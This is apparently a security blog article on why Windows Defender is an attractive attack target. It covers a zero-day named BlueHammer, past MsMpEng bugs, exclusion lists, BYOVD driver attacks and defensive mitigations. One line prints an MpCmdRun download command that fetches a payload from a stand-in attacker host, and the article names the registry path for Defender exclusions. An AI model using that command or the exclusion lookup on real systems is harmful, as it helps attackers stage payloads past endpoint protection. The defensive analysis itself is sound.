The fundamental problem with security software is that it must be trusted by the operating system to do its job. That trust, expressed as elevated privileges, broad filesystem access, kernel-level drivers, and exemption from the very policies it enforces, is precisely what makes security software an attractive target. BlueHammer, a recently disclosed zero-day in Windows Defender, is the latest example of this pattern.
Why Windows Defender Specifically
Windows Defender ships with every copy of Windows 10 and 11. Its core engine, MsMpEng.exe, runs as SYSTEM by default. The SYSTEM account on Windows is not an ordinary elevated account; it operates above Administrator and has unrestricted access to local machine resources. When MsMpEng misbehaves, the consequences are not sandboxed.
The engine’s privilege level exists for legitimate reasons. Real-time protection requires intercepting file opens, process launches, network connections, and memory allocations before they complete. This demands hooks deep into the Windows kernel, primarily through the WdFilter.sys minifilter driver, which operates in kernel mode. A vulnerability in WdFilter.sys is not a user-mode bug. It is a kernel bug, with all the privilege escalation and system stability implications that follow from that.
The attack surface is further enlarged by what Defender must do: parse untrusted, potentially malicious input at the highest privilege level on the system. Every file that enters the machine, every email attachment, every downloaded binary, passes through the scanner. The scanner itself becomes the boundary between attacker-controlled data and SYSTEM-level code execution.
The Ormandy Precedent
This is not a new problem. In 2017, Tavis Ormandy at Google Project Zero published a series of critical vulnerabilities in MsMpEng that illustrated exactly how dangerous this attack surface is. One of them, CVE-2017-11937, lived inside the JavaScript emulation layer Defender used to detect malicious scripts without executing them. Defender shipped its own JavaScript interpreter; that interpreter had an uninitialized variable vulnerability triggerable by a crafted file in an email or a webpage load. No user interaction was required beyond whatever would normally cause Defender to scan the content, which is to say, none at all.
Ormandy’s characterization at the time was blunt: this was among the worst Windows remote code execution vulnerabilities he had seen. The blast radius was the entire machine, because Defender scanned everything.
A separate finding from the same period, tracked as CVE-2017-11940, involved similar memory corruption in the emulation engine. Both required no special permissions, no phishing success, no drive-by beyond a scan. The scan itself was the exploit vector.
Microsoft patched both through out-of-band engine updates, which is the saving grace of Defender’s architecture: because the engine updates independently of Windows, critical parser bugs can be fixed within days rather than waiting for Patch Tuesday.
MpCmdRun as a Living-off-the-Land Binary
MpCmdRun.exe, the command-line interface to Windows Defender, has been catalogued in the LOLBAS project as a tool attackers can use for purposes its authors did not intend. The -DownloadFile parameter allows it to fetch arbitrary files from the internet:
MpCmdRun.exe -DownloadFile -url https://attacker.example/payload.bin -path C:\Windows\Temp\payload.binThis works because MpCmdRun.exe is a legitimately signed Microsoft binary. Application control policies that block unsigned executables or unknown binaries will not flag it. Network monitoring tools that allowlist known Microsoft processes may not inspect its outbound connections. An attacker who has already achieved initial code execution can use it as a trusted downloader, bypassing filters that would catch a generic curl or PowerShell invocation.
The irony is complete: the security scanner fetches the next stage of the attack.
The Exclusion List Problem
Windows Defender allows administrators and software installers to add exclusion paths, instructing the scanner to skip specific directories, files, or processes. Build systems, databases, and development tools legitimately need these exclusions to avoid false positives and performance penalties during compilation or intensive I/O.
The problem is that the exclusion list is readable by standard user-mode processes. An attacker with any foothold on a machine can query the registry at:
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Pathsand see which directories the scanner will never touch. Writing a payload into an excluded path bypasses real-time protection entirely. No vulnerability required. This technique has been documented in use by ransomware groups and APT actors because it exploits a configuration that the defender created on purpose, not a software defect.
Exclusions added during software deployment often persist long after the software that required them has been removed. A development machine with an excluded build directory, a server with an excluded database path, these become permanent blind spots.
The Kernel Driver Surface
WdFilter.sys presents a different category of risk. Minifilter drivers register with the Filter Manager (FltMgr.sys) to intercept filesystem operations at the kernel level. A memory corruption bug in WdFilter.sys can crash the system outright or, under controlled exploit conditions, allow arbitrary kernel code execution.
Rather than attacking WdFilter.sys directly, sophisticated threat actors have turned to Bring Your Own Vulnerable Driver (BYOVD) attacks. The technique involves loading a legitimate but vulnerability-containing driver that is still signed by a trusted certificate authority, then using it to disable or tamper with WdFilter.sys from kernel space. The Lazarus Group and affiliated actors have used this approach in documented campaigns, loading signed drivers with known vulnerabilities to neutralize endpoint protection before deploying their actual payloads.
Microsoft’s response has been the Microsoft Vulnerable Driver Blocklist, which Windows Defender Application Control enforces to prevent loading drivers with known CVEs even when they carry valid signatures. The blocklist needs to be maintained and distributed actively, and gaps between a vulnerability becoming known and the blocklist update shipping create a window for exploitation.
What BlueHammer Represents
The BlueHammer zero-day follows this established pattern of exploiting Defender’s trusted position rather than finding a way around it. The attack goes through the scanner rather than past it. This is not surprising. Attackers have learned that the most reliable privilege escalation paths on a hardened Windows system often run through the security tooling itself, because security tooling occupies the highest-trust position on the machine while necessarily exposing the largest parsing surface.
Microsoft’s update cadence for Defender is worth understanding here. Engine updates ship independently of Windows patches, sometimes multiple times per week during active exploitation. This means critical engine bugs can be fixed faster than the monthly cadence, which is genuinely useful. It also means the attack surface changes continuously, with new parser code deploying on a schedule that most blue teams do not track with the same discipline they apply to OS-level CVEs.
Practical Mitigations
For security teams managing Windows environments, several concrete steps reduce exposure:
- Audit Defender exclusions regularly. Exclusions should have documented justification and owners. Anything added during a software installation three years ago and never revisited is a candidate for removal.
- Monitor
MpCmdRun.exefor anomalous behavior. A legitimate Defender scan does not download files from the internet. Parent process relationships matter here:MpCmdRun.exespawned by a script interpreter or an unusual user process warrants investigation. - Enable and maintain WDAC driver block policies. Microsoft’s recommended driver blocklist is not applied automatically on all configurations. Explicitly enabling it makes BYOVD significantly harder.
- Watch for injection into
MsMpEng.exe. Security tools are not normally targets for process injection. Activity that looks like an attempt to inject into or manipulate the scanner process is a high-confidence signal.
The underlying architectural tension here does not have a clean solution. Security products need high privilege to intercept threats before they execute. That privilege makes the security product itself a high-value target. Reducing privilege would reduce protection capability. Vendors can mitigate this tension by hardening the parsers and emulation layers that sit between attacker-controlled input and privileged code, but the surface area is large and the pressure to ship detection coverage for new malware techniques is continuous.
Every privileged, trusted component on a system is a target. Windows Defender is the most privileged, most trusted, most universally present component on a billion Windows machines. BlueHammer is one name on a list that will keep growing.